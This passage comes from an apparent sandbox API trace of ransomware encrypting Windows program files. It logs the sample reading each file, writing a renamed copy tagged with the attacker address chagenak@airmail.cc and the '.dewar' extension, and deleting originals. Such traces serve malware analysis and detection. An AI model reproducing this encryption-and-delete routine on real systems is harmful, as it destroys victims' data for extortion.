(lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.597] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=144896) returned 1 [0259.598] CloseHandle (hObject=0xe0) returned 1 [0259.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll")) returned 0x20 [0259.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll")) returned 0x20 [0259.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.602] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=132096) returned 1 [0259.602] CloseHandle (hObject=0xe0) returned 1 [0259.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll")) returned 0x20 [0259.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll")) returned 0x20 [0259.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.604] SetEvent (hEvent=0x118) returned 1 [0259.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.605] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=287744) returned 1 [0259.605] CloseHandle (hObject=0xe0) returned 1 [0259.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll")) returned 0x20 [0259.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll")) returned 0x20 [0259.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.607] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=358904) returned 1 [0259.607] CloseHandle (hObject=0xe0) returned 1 [0259.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll")) returned 0x20 [0259.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll")) returned 0x20 [0259.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.610] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=537088) returned 1 [0259.610] CloseHandle (hObject=0xe0) returned 1 [0259.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll")) returned 0x20 [0259.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll")) returned 0x20 [0259.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\pdm.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.615] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=460) returned 1 [0259.615] CloseHandle (hObject=0xe0) returned 1 [0259.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0259.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0259.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.619] SetEvent (hEvent=0x118) returned 1 [0259.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.621] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=244736) returned 1 [0259.621] CloseHandle (hObject=0xe0) returned 1 [0259.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0259.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0259.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.632] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=17248) returned 1 [0259.632] CloseHandle (hObject=0xe0) returned 1 [0259.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0259.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0259.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0259.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0259.634] SetFilePointerEx (in: hFile=0xe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0259.634] SetFilePointerEx (in: hFile=0xe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0259.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x204 [0260.128] ReadFile (in: hFile=0xe0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x4360, lpOverlapped=0x0) returned 1 [0260.284] WriteFile (in: hFile=0x204, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x4370, lpOverlapped=0x0) returned 1 [0260.287] WriteFile (in: hFile=0x204, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0260.287] CloseHandle (hObject=0xe0) returned 1 [0260.288] CloseHandle (hObject=0x204) returned 1 [0260.719] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0 [0260.719] SetEvent (hEvent=0x118) returned 1 [0260.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0266.790] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=30948) returned 1 [0266.790] CloseHandle (hObject=0x204) returned 1 [0266.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0266.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0266.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0268.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0268.335] SetFilePointerEx (in: hFile=0xe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0268.335] SetFilePointerEx (in: hFile=0xe0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0268.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x204 [0269.185] ReadFile (in: hFile=0xe0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x78e4, lpOverlapped=0x0) returned 1 [0269.192] WriteFile (in: hFile=0x204, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x78f0, lpOverlapped=0x0) returned 1 [0269.195] WriteFile (in: hFile=0x204, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0269.195] CloseHandle (hObject=0xe0) returned 1 [0269.195] CloseHandle (hObject=0x204) returned 1 [0269.197] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0 [0269.197] SetEvent (hEvent=0x118) returned 1 [0269.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0269.677] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=39515) returned 1 [0269.677] CloseHandle (hObject=0x128) returned 1 [0269.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0269.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0269.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0269.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0269.687] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0269.687] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0269.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0269.688] ReadFile (in: hFile=0x128, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x9a5b, lpOverlapped=0x0) returned 1 [0269.693] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x9a60, lpOverlapped=0x0) returned 1 [0269.698] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0269.698] CloseHandle (hObject=0x128) returned 1 [0269.699] CloseHandle (hObject=0x140) returned 1 [0269.702] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0 [0269.703] SetEvent (hEvent=0x118) returned 1 [0269.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0269.709] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=29790) returned 1 [0269.709] CloseHandle (hObject=0x140) returned 1 [0269.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0269.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0269.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0269.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0269.710] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0269.711] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0269.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x128 [0269.713] ReadFile (in: hFile=0x140, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x745e, lpOverlapped=0x0) returned 1 [0269.719] WriteFile (in: hFile=0x128, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x7460, lpOverlapped=0x0) returned 1 [0269.724] WriteFile (in: hFile=0x128, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0269.724] CloseHandle (hObject=0x140) returned 1 [0269.724] CloseHandle (hObject=0x128) returned 1 [0269.730] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0 [0269.730] SetEvent (hEvent=0x118) returned 1 [0269.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0269.731] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=44457320) returned 1 [0269.731] CloseHandle (hObject=0x128) returned 1 [0269.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll")) returned 0x20 [0269.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as 